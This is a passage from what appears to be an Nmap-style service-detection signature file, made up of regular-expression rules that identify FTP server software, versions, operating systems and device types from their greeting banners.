cpe:/o:harman:amx_firmware:$1/ cpe:/o:windriver:vxworks:$1/ match ftp m|^220 VxWorks \(VxWorks ([\w._-]+)\) FTP server ready\r\n| p|AMX NetLinx A/V control system ftpd| i/VxWorks $1/ d/media device/ o/VxWorks/ cpe:/o:harman:amx_firmware:$1/ cpe:/o:windriver:vxworks:$1/ match ftp m|^220 VxWorks FTP server \(VxWorks ?([\w._-]+)\) ready\.\r\n| p/VxWorks ftpd/ v/$1/ o/VxWorks/ cpe:/o:windriver:vxworks/a match ftp m|^220 ABB Robotics FTP server \(VxWorks ([\d.]+) rev ([\d.]+)\) ready\.\r\n| p/ABB Robotics ftpd/ i/VxWorks $1 rev $2 **A ROBOT**/ d/specialized/ o/VxWorks/ cpe:/o:windriver:vxworks:$1/ # Pure-ftpd match ftp m|^220.*Welcome to .*Pure-?FTPd (\d\S+\s*)| p/Pure-FTPd/ v/$1/ cpe:/a:pureftpd:pure-ftpd:$1/ match ftp m|^220.*Welcome to .*Pure-?FTPd[^(]+\r\n| p/Pure-FTPd/ cpe:/a:pureftpd:pure-ftpd/ match ftp m|^220.*Bienvenue sur .*Pure-?FTPd.*\r\n| p/Pure-FTPd/ i/French/ cpe:/a:pureftpd:pure-ftpd::::fr/ match ftp m|^220.*Bienvenue sur .*Pure-?FTPd (\d[-.\w]+)| p/Pure-FTPd/ v/$1/ i/French/ cpe:/a:pureftpd:pure-ftpd:$1:::fr/ match ftp m|^220.*Velkommen til .*Pure-?FTPd.*\r\n| p/Pure-FTPd/ i/Danish/ cpe:/a:pureftpd:pure-ftpd::::da/ match ftp m|^220.*Bem-vindo.*Pure-?FTPd.*\r\n| p/Pure-FTPd/ i/Portuguese/ cpe:/a:pureftpd:pure-ftpd::::pt/ # pure-ftpd 1.0.12 on Linux 2.4 match ftp m|^220[- ]FTP server ready\.\r\n.*214 Pure-FTPd - http://pureftpd\.org/?\r\n|s p/Pure-FTPd/ cpe:/a:pureftpd:pure-ftpd/ # OpenBSD 3.4 beta running Pure-FTPd 1.0.16 with SSL/TLS match ftp m|^220---------- Welcome to Pure-FTPd \[privsep\] \[TLS\] ----------\r\n220-You are user number| p/Pure-FTPd/ i|with SSL/TLS| cpe:/a:pureftpd:pure-ftpd/ match ftp m|^220---------- .* Pure-FTPd ----------\r\n220-| p/Pure-FTPd/ cpe:/a:pureftpd:pure-ftpd/ match ftp m|^220.*214 Pure-FTPd - http://pureftpd\.org/?\r\n|s p/Pure-FTPd/ cpe:/a:pureftpd:pure-ftpd/ match ftp m|^220 vsFTPd (.*) ready\.\.\.\r\n| p/vsftpd/ v/$1/ cpe:/a:vsftpd:vsftpd:$1/ match ftp m|^220 vsFTPd (.*) ready\.\.\. \[charset=\w+\]\r\n| p/vsftpd/ v/$1/ cpe:/a:vsftpd:vsftpd:$1/ match ftp m|^220 ready, dude \(vsFTPd (\d[0-9.]+): beat me, break me\)\r\n| p/vsftpd/ v/$1/ o/Unix/ cpe:/a:vsftpd:vsftpd:$1/ match ftp m|^220 \(vsFTPd ([-.\w]+)\)\r\n$| p/vsftpd/ v/$1/ o/Unix/ cpe:/a:vsftpd:vsftpd:$1/ match ftp m|^220 Welcome to blah FTP service\.\r\n$| p/vsftpd/ o/Unix/ cpe:/a:vsftpd:vsftpd/ match ftp m|^220 TYPSoft FTP Server (\d\S+) ready\.\.\.\r\n| p/TYPSoft ftpd/ v/$1/ o/Windows/ cpe:/a:typsoft:typsoft_ftp_server:$1/ cpe:/o:microsoft:windows/a match ftp m|^220-MegaBit Gear (\S+).*FTP server ready| p/MegaBit Gear ftpd/ v/$1/ match ftp m|^220.*WS_FTP Server (\d\S+)| p/WS FTPd/ v/$1/ o/Windows/ cpe:/a:ipswitch:ws_ftp:$1/ cpe:/o:microsoft:windows/a match ftp m|^220 Features: a p \.\r\n$| p/publicfile ftpd/ o/Unix/ match ftp m|^220 ([-.\w]+) FTP server \(Version (\S+) VFTPD, based on Version (\S+)\) ready\.\r\n$| p/Virtual FTPD/ v/$2/ i/based on $3/ o/Unix/ h/$1/ match ftp m|220 ([-.\w]+) FTP server \(Version (\S+)/OpenBSD, linux port (\S+)\) ready\.\r\n| p/OpenBSD ftpd/ v/$2/ i/Linux port $3/ o/Linux/ h/$1/ cpe:/a:openbsd:ftpd:$2/ cpe:/o:linux:linux_kernel/a match ftp m|^220 ([-.\w]+) FTP server \(Version (\S+)/OpenBSD/Linux-ftpd-([-.\w]+)\) ready.\r\n$| p/OpenBSD ftpd/ v/$2/ i/Linux port $3/ o/Linux/ h/$1/ cpe:/a:openbsd:ftpd:$2/ cpe:/o:linux:linux_kernel/a match ftp m|^220 Interscan Version ([-\w.]+)|i p/InterScan VirusWall ftpd/ v/$1/ match ftp m|^220 InterScan FTP VirusWall NT (\d[-.\w]+) \(([-.\w]+) Mode\), Virus scan (\w+)\r\n$| p/InterScan VirusWall NT/ v/$1/ i/Virus scan $3; $2 mode/ o/Windows/ cpe:/o:microsoft:windows/a match ftp m|^220 ([-.\w]+) FTP server \(Version ([-.\w]+)/OpenBSD\) ready\.\r\n$| p/OpenBSD ftpd/ v/$2/ o/OpenBSD/ h/$1/ cpe:/a:openbsd:ftpd:$2/ cpe:/o:openbsd:openbsd/ match ftp m|^220 ([-.\w]+) FTP server \(Version (6.0\w+)\) ready.\r\n| p/FreeBSD ftpd/ v/$2/ o/FreeBSD/ h/$1/ cpe:/o:freebsd:freebsd/a match ftp m|^220 FTP server \(Version ([\w.]+)\) ready\.\r\n| p/FreeBSD ftpd/ v/$1/ o/FreeBSD/ cpe:/o:freebsd:freebsd/a # Trolltech Troll-FTPD 1.28 (Only runs on Linux) match ftp m|^220-Setting memory limit to 1024\+1024kbytes\r\n220-Local time is now \d+:\d+ and the load is [\d.]+\.\r\n220 You will be disconnected after \d+ seconds of inactivity.\r\n$| p/Trolltech Troll-FTPd/ o/Linux/ cpe:/o:linux:linux_kernel/a match ftp m|^220 FTP server \(Hummingbird Ltd\. \(HCLFTPD\) Version (7.1.0.0)\) ready\.\r\n$| p/Hummingbird FTP server/ v/$1/ cpe:/a:hummingbird:connectivity:$1/ match ftp m|^220 FTP server \(Hummingbird Communications Ltd\. \(HCLFTPD\) Version ([\d.]+)\) ready\.\r\n| p/Hummingbird FTP server/ v/$1/ cpe:/a:hummingbird:connectivity:$1/ match ftp m|^220- .*\n220 ([-.\w]+) FTP server \(Version (.*)\) ready\.\r\n|s p/BSD ftpd/ v/$2/ h/$1/ # Xitami FTPd match ftp m|^220- \r\n.*www\.imatix\.com --\r\n|s p/Xitami ftpd/ match ftp m|^220- Welcome to this Xitami FTP server, running version ([\d\w.]+) of Xitami\. \n You are user number (\d+) of a permitted (\d+) users\.| p/Xitami ftpd/ v/$1/ i|$2/$3 users| # Netware 6 - NWFTPD.NLM FTP Server Version 5.01w match ftp m|^220 Service Ready for new User\r\n$| p/NetWare NWFTPD/ match ftp m|^220-LRN\r\n220 Service Ready for new User\r\n| p/NetWare NWFTPD/ match ftp m|^220 ([-\w]+) FTP server \(NetWare (v[\d.]+)\) ready\.\r\n$| p/Novell NetWare ftpd/ v/$2/ o/NetWare/ h/$1/ cpe:/o:novell:netware/a match ftp m|220 FTP Server for NW 3.1x, 4.xx \((v1.10)\), \(c\) 199[0-9] HellSoft\.\r\n$| p/HellSoft FTP server for NetWare 3.1x, 4.x/ v/$1/ o/NetWare/ cpe:/o:novell:netware/a match ftp m|^220 ([-.\w]+) MultiNet FTP Server Process V(\S+) at .+\r\n$| p/DEC OpenVMS MultiNet FTPd/ v/$2/ h/$1/ match ftp m|^220-\r\n220 ([-.\w]+) FTP server \(NetBSD-ftpd ([-.\w]+)\) ready.\r\n$| p/NetBSD lukemftpd/ v/$2/ h/$1/ match ftp m|^220 ([-.\w]+) Network Management Card AOS v([-.\w]+) FTP server ready.\r\n$| p/APC AOS ftpd/ v/$2/ i/on APC $1 network management card/ d/power-device/ o/AOS/ cpe:/o:apc:aos/a match ftp m|^220 FTP Server \(Version 1.0\) ready.\r\n$| p/GlobespanVirata ftpd/ v/1.0/ d/broadband router/ # HP-UX B.11.00 match ftp m|^220 ([-.+\w ]+) FTP server \(Version (\d[-.\w]+) [A-Z][a-z]{2} [A-Z].*20\d\d\) ready\.\r\n| p/HP-UX ftpd/ v/$2/ o/HP-UX/ h/$1/ cpe:/o:hp:hp-ux/a match ftp m|^220 ([-.+\w ]+) FTP server \(Version (\d[-.\w]+)\(([^\)]+)\) [A-Z][a-z]{2} [A-Z].*\d{4}\) ready\.\r\n| p/HP-UX ftpd/ v/$2/ i/patchlevel $3/ o/HP-UX/ h/$1/ cpe:/o:hp:hp-ux/a # 220 mirrors.midco.net FTP server ready. # WarFTP Daemon 1.70 on Win2K match ftp m=^220-.*\r\n(?:220-|) WarFTPd (\d[-.\w]+) \([\w ]+\) Ready\r\n=s p/WarFTPd/ v/$1/ cpe:/a:jgaa:warftpd:$1/ match ftp m|^220 ([-.+\w]+) FTP SERVICE ready\r\n500 Please enter a command\. Dunno how to interperet empty lines\.\.\.\r\n500 Please enter a command\. Dunno how to interperet empty lines\.\.\.\r\n$| p/WarFTPd/ o/Windows/ h/$1/ cpe:/a:jgaa:warftpd/ cpe:/o:microsoft:windows/a match ftp m|^220 Welcome to Windows FTP Server| p/Windows Ftp Server/ i|Not from Microsoft - http://srv.nease.net/| # UnixWare 7.11 match ftp m|^220 ([-\w_.]+) FTP server \(BSDI Version ([\w.]+)\) ready\.\r\n| p|BSDI/Unixware ftpd| v/$2/ h/$1/ match ftp m|^220 FTP server \(Hummingbird Ltd\. \(HCLFTPD\) Version ([\d.]+)\) ready\.\r\n| p/Hummingbird ftpd/ v/$1/ cpe:/a:hummingbird:connectivity:$1/ match ftp m|^220 OpenFTPD server ready\. .*\.\r\n| p/OpenFTPD/ match ftp m|^220 ([\w._-]+) FTP server \(NetBSD-ftpd 20\w+\) ready\.\r\n| p/NetBSD lukemftpd/ o/NetBSD/ h/$1/ cpe:/o:netbsd:netbsd/ match ftp m|^220-\r\n Your connection logged!\r\n220 ([\w_.-]+) FTP server \(NetBSD-ftpd 200\d+\) ready\.\r\n| p/NetBSD lukemftpd/ i/Connection logged/ h/$1/ match ftp m|^220 CommuniGate Pro FTP Server ([\d.]+) ready\r\n| p/CommuniGate Pro ftpd/ v/$1/ cpe:/a:stalker:communigate_pro:$1/ match ftp m|^220 CommuniGate Pro FTP Server ready\r\n| p/CommuniGate Pro ftpd/ cpe:/a:stalker:communigate_pro/ match ftp m|^220 ([\w._-]+) CommuniGate Pro FTP Server (\d[\w._-]+) ready\r\n| p/CommuniGate Pro ftpd/ v/$2/ h/$1/ cpe:/a:stalker:communigate_pro:$2/ match ftp m|^421 Sorry you are not welcomed on this server\.\r\n$| p/BulletProof ftpd/ i/Banned/ o/Windows/ cpe:/o:microsoft:windows/a match ftp m|^220-BulletProof FTP Server ready \.\.\.\r\n| p/BulletProof ftpd/ o/Windows/ cpe:/o:microsoft:windows/a match ftp m|^(?:220.*\r\n)?220 [Ee]valine FTP server \(Version: Mac OS X|s p/Evaline ftpd/ o/Mac OS X/ cpe:/o:apple:mac_os_x/a match ftp m|^220 WinGate Engine FTP Gateway ready\r\n| p/WinGate ftpd/ o/Windows/ cpe:/o:microsoft:windows/a match ftp m|^220 Welcome to Quick 'n Easy FTP Server\r\n| p/Quick 'n Easy ftpd/ o/Windows/ cpe:/o:microsoft:windows/a match ftp m|^220 Welcome to Quick 'n Easy FTP Server DEMO\r\n| p/Quick 'n Easy ftpd/ i/DEMO/ o/Windows/ cpe:/o:microsoft:windows/a match ftp m|^421 Too many connections for this IP address, please try again later\.\r\n| p/Quick 'n Easy ftpd/ o/Windows/ cpe:/o:microsoft:windows/a match ftp m|^220 Tornado-vxWorks \(VxWorks([\d.]+)\) FTP server ready\r\n| p/Tornado vxWorks ftpd/ v/$1/ o/VxWorks/ cpe:/o:windriver:vxworks/a match ftp m|^220 [-\w_.]+ FTP server \(UNIX\(r\) System V Release 4\.0\) ready\.\r\n| p/UNIX System V Release 4.0 ftpd/ o/Unix/ match ftp m|^(?:220-.*\r\n)?220 ([-\w_.]+) FTP Server \(Oracle XML DB/Oracle9i Enterprise Edition Release ([\d.]+) - Production\) ready\.\r\n|s p/Oracle Enterprise XML DB ftpd/ v/$2/ h/$1/ cpe:/a:oracle:database_server:$2::enterprise/ match ftp m|^(?:200-.*\r\n)?220 ([-\w_.]+) FTP Server \(Oracle XML DB/Oracle9i Enterprise Edition Release ([\d.]+) - 64bit Production\) ready\.\r\n| p/Oracle XML DB ftpd/ v/$2/ i/64 bits/ h/$1/ cpe:/a:oracle:database_server:$2::enterprise/ match ftp m|^(?:220-.*\r\n)?220 ([-\w_.]+) FTP Server \(Oracle XML DB/Oracle9i Release ([\d.]+) - Production\) ready\.\r\n|s p/Oracle XML DB ftpd/ v/$2/ h/$1/ cpe:/a:oracle:database_server:$2/ match ftp m|^(?:220-.*\r\n)?220 ([-\w_.]+) FTP Server \(Oracle XML DB/Oracle Database 10g Enterprise Edition Release ([\d.]+) - Production\) ready\.\r\n|s p/Oracle 10g Enterprise XML DB ftpd/ v/$2/ h/$1/ cpe:/a:oracle:database_server:$2::enterprise/ match ftp m|^(?:220-.*\r\n)?220 ([-\w_.]+) FTP Server \(Oracle XML DB/Personal Oracle9i Release ([\d.]+) - Production\) ready\.\r\n|s p/Personal Oracle XML DB ftpd/ v/$2/ h/$1/ cpe:/a:oracle:database_server:$2::personal/ match ftp m|^(?:220-.*\r\n)?220 ([\w._-]+) FTP Server \(Oracle XML DB/Oracle Database\) ready\.\r\n|s p/Oracle XML DB ftpd/ h/$1/ cpe:/a:oracle:database_server/ match ftp m|^(?:200-.*\r\n)?220 ([\w._-]+) FTP Server \(Oracle XML DB/\) ready\.\r\n|s p/Oracle XML DB ftpd/ h/$1/ cpe:/a:oracle:database_server/ match ftp m|^220 ([-\w_.]+) PacketShaper FTP server ready\.\r\n| p/PacketShaper ftpd/ o/Windows/ h/$1/ cpe:/o:microsoft:windows/a match ftp m|^220 WfFTP server\(([\w.]+)\) ready\.\r\n| p/Nortel WfFTP/ v/$1/ d/router/ match ftp m|^220- (.*) WAR-FTPD ([-\w.]+) Ready\r\n220 Please enter your user name\.\r\n| p/WAR-FTPD/ v/$2/ i/Name $1/ o/Windows/ cpe:/o:microsoft:windows/a match ftp m|^220 Canon ([\w._-]+) FTP Print Server V([\w._-]+) .* ready\.\r\n| p/Canon $1 FTP Print Server/ v/$2/ d/print server/ cpe:/h:canon:$1/ match ftp m|^500 OOPS: .*\r\n$| p/vsftpd/ i/Misconfigured/ o/Unix/ cpe:/a:vsftpd:vsftpd/ match ftp m|^500 OOPS: vsftpd: both local and anonymous access disabled!\r\n| p/vsftpd/ i/Access denied/ o/Unix/ cpe:/a:vsftpd:vsftpd/ match ftp m|^220 FTP Version ([\d.]+) on MPS100\r\n| p/Lantronix MPS100 ftpd/ v/$1/ d/print server/ cpe:/h:lantronix:mps100/a match ftp m|^220.*bftpd ([\d.]+) at ([-\w_.]+) ready\.?\r\n|s p/Bftpd/ v/$1/ h/$2/ cpe:/a:jesse_smith:bftpd:$1/ match ftp m|^220.*bftpd ([\d.]+) at ([-\w_.]+) ready\.?|s p/Bftpd/ v/$1/ h/$2/ cpe:/a:jesse_smith:bftpd:$1/ match ftp m|^220 RICOH Pro (\d+[a-zA-Z]{0,3}) FTP server \(([\d+.]+)\) ready\.\r\n| p/Ricoh Pro $1 ftpd/ v/$2/ d/printer/ cpe:/h:ricoh:pro_$1/a match ftp m|^220 LANIER ([\w\d /-]+) FTP server \(([\d+.]+)\) ready\.\r\n| p/Lanier $1 ftpd/ v/$2/ d/printer/ cpe:/h:lanier:$1/a match ftp m|^220 Welcome to Code-Crafters Ability FTP Server\.\r\n| p/Code-Crafters Ability ftpd/ o/Windows/ cpe:/a:code-crafters:ability_ftp_server/ cpe:/o:microsoft:windows/a match ftp m|^220 Welcome to Code-Crafters - Ability Server ([\d.]+)\.| p/Code-Crafters Ability ftpd/ v/$1/ o/Windows/ cpe:/a:code-crafters:ability_ftp_server:$1/ cpe:/o:microsoft:windows/a match ftp m|^220 ([-\w_.]+) FTP server \(ARM_BE - V([\w.]+)\) ready\.\r\n| p/NetComm NS4000 Network Camera/ i/ARM_BE $2/ d/webcam/ h/$1/ match ftp m|^220 MikroTik FTP server \(MikroTik v?([\w._-]+)\) ready\r\n| p/MikroTik router ftpd/ v/$1/ d/router/ match ftp m|^220 lankacom FTP server \(MikroTik v?([\w._-]+)\) ready\r\n| p/Lankacom router ftpd/ v/$1/ i/MikroTik/ d/router/ match ftp m|^220 (.+) FTP server \(MikroTik ([\w._-]+)\) ready\r\n| p/MikroTik router ftpd/ v/$2/ d/router/ h/$1/ match ftp m|^220 NetPresenz v([\d.]+) \(Unregistered\) awaits your command\.\r\n| p/NetPresenz/ v/$1/ i/Unregistered/ o/Mac OS/ cpe:/o:apple:mac_os/a match ftp m|^220 LP-8900-[0-9A-F]+ FTP server \(OEM FTPD version ([\d.]+)\) ready\.\r\n| p/OEM FTPD $1/ i/EPSON Network Print Server/ d/print server/ match ftp m|^220 StylusPhoto750-[0-9A-F]+ FTP server \(OEM FTPD version ([\d.]+)\) ready\.\r\n| p/OEM FTPD $1/ i/Epson StylusPhoto750/ d/print server/ match ftp m|^220 AL-(\w+)-[0-9A-F]+ FTP server \(OEM FTPD version ([\d.]+)\) ready\.\r\n| p/OEM FTPD $2/ i/Epson AcuLaser $1 printer/ d/printer/ cpe:/h:epson:aculaser_$1/a match ftp m|^220 FTP Version ([\d.]+) on MSS100\r\n| p/Lantronix MSS100 serial interface ftpd/ v/$1/ d/specialized/ match ftp m|^220 Matrix FTP server \(Server \w+#\d\) ready\.\r\n| p/Matrix ftpd/ match ftp m|^220 Titan FTP Server ([\d.]+) Ready\.\r\n| p/Titan ftpd/ v/$1/ o/Windows/ cpe:/a:southrivertech:titan_ftp_server:$1/ cpe:/o:microsoft:windows/a match ftp m|^421-\+=\+=\+=\+=\+=\+=\+=\+=\+=\+=\+=\+=\+=\+=\+=\+=\+=\+=\+=\+=\+=\+=\+=\+=\+=\+=\+=\+=\+=\+=\+\r\n421-The evaluation period for this Titan FTP Server has expired\.\r\n| p/Titan ftpd/ i/Evaluation period expired/ o/Windows/ cpe:/a:southrivertech:titan_ftp_server/ cpe:/o:microsoft:windows/a match ftp m|^220 ioFTPD \[www: http://www\.ioftpd\.com\] - \[version: ([-\w_. ]+)\] server ready\.\r\n| p/ioFTPD/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a match ftp m|^220 CesarFTP ([\w.]+) Server Welcome !\r\n| p/ACLogic CesarFTPd/ v/$1/ o/Windows/ cpe:/a:aclogic:cesarftpd:$1/ cpe:/o:microsoft:windows/a match ftp m|^220 CesarFTP ([\w.]+) \xb7\xfe\xce\xf1\xc6\xf7\xbb\xb6\xd3\xad !\r\n| p/ACLogic CesarFTPd/ v/$1/ i/Chinese/ o/Windows/ cpe:/a:aclogic:cesarftpd:$1:::zh/ cpe:/o:microsoft:windows/a match ftp m|^220-This site is running the BisonWare BisonFTP server product V([\d.]+)\r\n| p/BisonWare BisonFTPd/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a match ftp m=^220-Welcome to XBOX FileZilla(?: \(XBMC\)|)\r\n220-version: XBFileZilla version ([\d.]+), \(based on FileZilla Server ([\d.]+)\)\r\n220 http://sourceforge\.net/projects/xbfilezilla\r\n= p/XBFileZilla/ v/$1/ i/Based on FileZilla $2/ cpe:/a:xbmc:xbfilezilla:$1/ match ftp m=^220-Welcome to XBOX FileZilla(?: \(XBMC\)|)\r\n220-version: XBMC:FileZilla version ([\d.]+), \(based on FileZilla Server ([\d.]+)\)\r\n220 http://sourceforge\.net/projects/xbfilezilla\r\n= p/XBFileZilla/ v/$1/ i/Based on FileZilla $2/ cpe:/a:xbmc:xbfilezilla:$1/ match ftp m|^220 Session will be terminated after 600 seconds of inactivity\.\r\n| p/Cisco 3000 series VPN ftpd/ d/security-misc/ o/IOS/ cpe:/o:cisco:ios/a match ftp m|^220-SlimFTPd ([\d.]+), by WhitSoft Development \(www\.whitsoftdev\.com\)\r\n| p/SlimFTPd/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a match ftp m|^220 BlackMoon FTP Server Version ([\d.]+ Release \d+) - Build \d+\. Free Edition\. Service Ready\r\n| p/BlackMoon ftpd/ v/$1/ i/Free edition/ o/Windows/ cpe:/o:microsoft:windows/a match ftp m|^220 BlackMoon FTP Server Version ([\d.]+ Release \d+) - Build \d+\. Chaos Edition\. Service Ready\r\n| p/BlackMoon ftpd/ v/$1/ i/Chaos edition/ o/Windows/ cpe:/o:microsoft:windows/a match ftp m|^220-BlackMoon FTP Server Version ([\d.]+ Release \d+) - Build \d+\r\n| p/BlackMoon ftpd/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a match ftp m|^220 BlackMoon FTP Server - Free Edition - Version ([\d.]+)\. Service Ready\r\n| p/BlackMoon ftpd/ v/$1/ i/Free edition/ o/Windows/ cpe:/o:microsoft:windows/a match ftp m|^220 netapp ftp server\r\n| p/netapp ftpd/ match ftp m|^220 Oracle Internet File System FTP Server ready\r\n| p/Oracle Internet File System ftpd/ match ftp m|^220 NRG 2205/2238/2212 FTP server \(([\d.]+)\) ready\.\r\n| p|NRG 2205/2238/2212 copier ftpd| v/$1/ d/printer/ match ftp m|^220 mandelbrot FTP server \(Version ([\d.]+) \(NeXT ([\d.]+)\) .*\) ready\.\r\n| p/mandelbrot ftpd/ v/$1/ i/NeXT $2/ o/NeXTStep/ cpe:/o:next:nextstep/ # Microsoft Windows .NET Enterprise Server (build 3604-3790) match ftp m|^220 Net Administration Divisions FTP Server Ready\.\.\.\r\n| p/Net Administration Divisions ftpd/ match ftp m|^220-\r\n220-\r\n220 Please enter your user name\.\r\n| p/MoreFTPd/ match ftp m|^220 ([-\w_.]+) FTP server \(OSF/1 Version ([\d.]+)\) ready\.\r\n| p|OSF/1 ftpd| i|OSF/1 $2| o/Unix/ h/$1/ match ftp m|^220 Qtopia ([\d.]+) FTP Server\n| p/Qtopia ftpd/ v/$1/ d/PDA/ match ftp m|^220[ -]Gene6 FTP Server v([\d.]+) +\(Build (\d+)\).* ready\.\.\.\r\n| p/Gene6 ftpd/ v/$1 build $2/ o/Windows/ cpe:/o:microsoft:windows/a match ftp m|^220 G6 FTP Server v([\d.]+) \(beta (\d+)\) ready \.\.\.\r\n| p/Gene6 ftpd/ v/$1 beta $2/ o/Windows/ cpe:/o:microsoft:windows/a match ftp m|^220 ([-\w_.]+) by G6 FTP Server ready \.\.\.\r\n| p/Gene6 ftpd/ o/Windows/ h/$1/ cpe:/o:microsoft:windows/a match ftp m|^220 .* by G6 FTP Server ready \.\.\.\r\n| p/Gene6 ftpd/ o/Windows/ cpe:/o:microsoft:windows/a match ftp m|^220.*Hello! I'm Gene6 FTP Server v([-\w_.]+) \(Build (\d+)\)\.\r\n|s p/Gene6 ftpd/ v/$1 build $2/ o/Windows/ cpe:/o:microsoft:windows/a match ftp m|^220 ([\w._-]+) FTP server ready\.\.\.\r\n| p/Gene6 ftpd/ o/Windows/ h/$1/ cpe:/o:microsoft:windows/a match ftp m|^220 sftpd/([\d.]+) Server \[[-\w_.]+\]\r\n| p/sftpd/ v/$1/ match ftp m|^220-TYPSoft FTP Server ([\d.]+) ready\.\.\.\r\n| p/TYPSoft ftpd/ v/$1/ o/Windows/ cpe:/a:typsoft:typsoft_ftp_server:$1/ cpe:/o:microsoft:windows/a match ftp m|^220 Welcome to Pablo's FTP Server\r\n| p/Pablo's ftpd/ o/Windows/ cpe:/o:microsoft:windows/a match ftp m|^220 PowerLogic FTP Server ready\.\r\n| p/PowerLogic embedded device ftpd/ d/specialized/ match ftp m|^220 INTERMEC 540\+/542\+ FTP Printer Server V([\d.]+) .* ready\.\r\n| p|Intermec 540+/542+ printer ftpd| v/$1/ d/printer/ match ftp m|^220 EthernetBoard OkiLAN 8100e Ver ([\d.]+) FTP server\.\r\n| p/OkiLAN 8100e print server/ v/$1/ d/print server/ match ftp m|^220 OKI-([\w+]+) Version ([\d.]+) ready\.\r\n| p/OkiData $1 printer ftpd/ v/$2/ d/printer/ # SpeedStream 5660 ADSL modem/router match ftp m|^220 VxWorks \(ENI-ftpd ([\d.]+)\) FTP server ready\r\n| p/SpeedStream 5660 ADSL router/ i|Runs ENI-ftpd/$1 on VxWorks| d/router/ o/VxWorks/ cpe:/o:windriver:vxworks/a match ftp m|^220--------------------------------------------------------------------------------\r\n220-This is the \"Banner\" message for the Mac OS X Server's FTP server process\.\r\n.*220 ([-\w_.]+) FTP server \(Version: Mac OS X Server ([\d.]+) - \+GSSAPI\) ready\.\r\n|s p/Mac OS X Server ftpd/ i/MacOS X $2/ o/Mac OS X/ h/$1/ cpe:/o:apple:mac_os_x/a match ftp m|^220--------------------------------------------------------------------------------\r\n220-This is the \"Banner\" message for the Mac OS X Server's FTP server process\.\r\n| p/Mac OS X Server ftpd/ o/Mac OS X/ cpe:/o:apple:mac_os_x/a match ftp m|^220 Welcome to U\.S\.Robotics SureConnect ADSL Ethernet/USB Router update FTP server v([\d.]+)\.\r\n| p/USRobotics SureConnect ADSL router ftpd/ v/$1/ d/router/ match ftp m|^220-Welcome to Xerver Free FTP Server ([\d.]+)\.\r\n220-\r\n220-You can login below now\.\r\n220 Features: \.\r\n| p/Xerver Free ftpd/ v/$1/ match ftp m|^220 ([-\w_.]+) FTP server \(tnftpd ([\w._+-]+)\) ready\.\r\n| p/tnftpd/ v/$2/ h/$1/ match ftp m|^220 ([-\w_.]+) FTP server \(LundFTPD ([\d.]+) .*\) ready\.\r\n| p/LundFTPd/ v/$2/ h/$1/ match ftp m|^220 HD316\r FTP server\(Version([\d.]+)\) ready\.\r\n| p/Panasonic WJ-HD316 Digital Disk Recorder/ v/$1/ d/media device/ cpe:/h:panasonic:wj-hd316/ match ftp m|^220 ([\w._-]+)\r FTP server\(Version([\w._-]+)\) ready\.\r\n| p/Panasonic WJ-HD316 Digital Disk Recorder/ v/$2/ d/media device/ h/$1/ cpe:/h:panasonic:wj-hd316/ match ftp m=^220 (\w+) IBM Infoprint (Color |)(\d+) FTP Server ([\w.]+) ready\.\r\n= p/IBM Infoprint $2$3 ftpd/ v/$4/ d/printer/ h/$1/ match ftp m|^220 ([\w._-]+) IBM Infoprint (\w+) FTP Server ([\w.]+) ready\.\r\n| p/IBM Infoprint $2 ftpd/ v/$3/ d/printer/ h/$1/ cpe:/h:ibm:infoprint_$2/a match ftp m|^220 ShareIt FTP Server ([\d.]+) \(WINCE\) Ready\.\r\n| p/ShareIt ftpd/ v/$1/ d/PDA/ match ftp m|^220 ShareIt FTP Pro ([\d.]+) \(WINCE\) Ready\.\r\n| p/ShareIt Pro ftpd/ v/$1/ d/PDA/ match ftp m|^220 ISOS FTP Server for Upgrade Purpose \(([\d.]+)\) ready\r\n| p/Billion 741GE ADSL router/ v/$1/ d/router/ cpe:/h:billion:741ge/a match ftp m|^220 PV11 FTP Server ready\r\n| p/Unknown wireless acces point ftpd/ i/Runs Phar Lap RTOS/ d/router/ match ftp m|^220 Alize Session Manager FTP Server\r\n| p/Alcatel OmniPCX ftpd/ d/PBX/ cpe:/a:alcatel-lucent:omnipcx/ match ftp m|^220-FTP Server ready\r\n220-Welcome to the Sambar FTP Server\r\r\n| p/Sambar ftpd/ cpe:/a:sambar:sambar_server/ match ftp m|^220 SINA FTPD \(Version ([-\d.]+)\).*\r\n| p/Sina ftpd/ v/$1/ match ftp m|^220 DataHive FTP Server ([\d.]+) Ready\.\r\n| p/DataHive ftpd/ v/$1/ match ftp m|^220--- AlterVista FTP, based on Pure-FTPd --\r\n| p/AlterVista ftpd/ i/Based on Pure-ftpd/ match ftp m|^220 Welcome to the ADI Convergence Galaxy update FTP server v([\d.]+)\.\r\n| p/ADI Convergence Galaxy update ftpd/ v/$1/ match ftp m|^421 You are not permitted to make this connection\.\r\n| p/Symantec Raptor Firewall ftpd/ d/firewall/ cpe:/a:symantec:raptor_firewall/ match ftp m|^220 copier2FTP server ready\.\r\n| p/Konica Minolta Di3510 Copier ftpd/ d/printer/ cpe:/h:konicaminolta:di3510/a match ftp m|^220 DrayTek FTP version ([\d.]+)\r\n| p/DrayTek Vigor router ftpd/ v/$1/ d/router/ match ftp m|^220 ([-\w_.]+) FTP server ready \(mod_ftpd/([\d.]+)\)\r\n| p/Apache mod_ftpd/ v/$2/ h/$1/ cpe:/a:apache:http_server/ match ftp m|^220 The Avalaunch FTP system -- enter user name\r\n| p/Avalaunch ftpd/ i/XBox/ d/game console/ match ftp m|^220 Server 47 FTP service\. Welcome\.\r\n| p/Bftpd/ o/Unix/ cpe:/a:jesse_smith:bftpd/ match ftp m%^220-loading\.\.\r\n220-\| W e L c O m E @ SFXP\|=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\|\r\n% p/SwiftFXP/ match ftp m|^220 Z-FTP\r\n| p/Z-FTPd/ match ftp m|^220 ([-/.+\w_]+) Dell ([-/.+\w ]+) FTP Server ([\w._-]+) ready\.\r\n| p/Dell $2 printer ftpd/ v/$3/ d/printer/ h/$1/ cpe:/h:dell:$2/ match ftp m|^220 ([-/.+\w_]+) Dell Wireless Printer Adapter ([\w._-]+) FTP Server ready\.\r\n| p/Dell $2 Wireless Printer Adapter ftpd/ d/print server/ h/$1/ cpe:/h:dell:$2/ match ftp m|^220 ([-/.+\w_]+) Dell Laser Printer ([-/.+\w ]+) FTP Server ([\w._-]+) ready\.\r\n| p/Dell $2 printer ftpd/ v/$3/ d/printer/ h/$1/ cpe:/h:dell:$2/ match 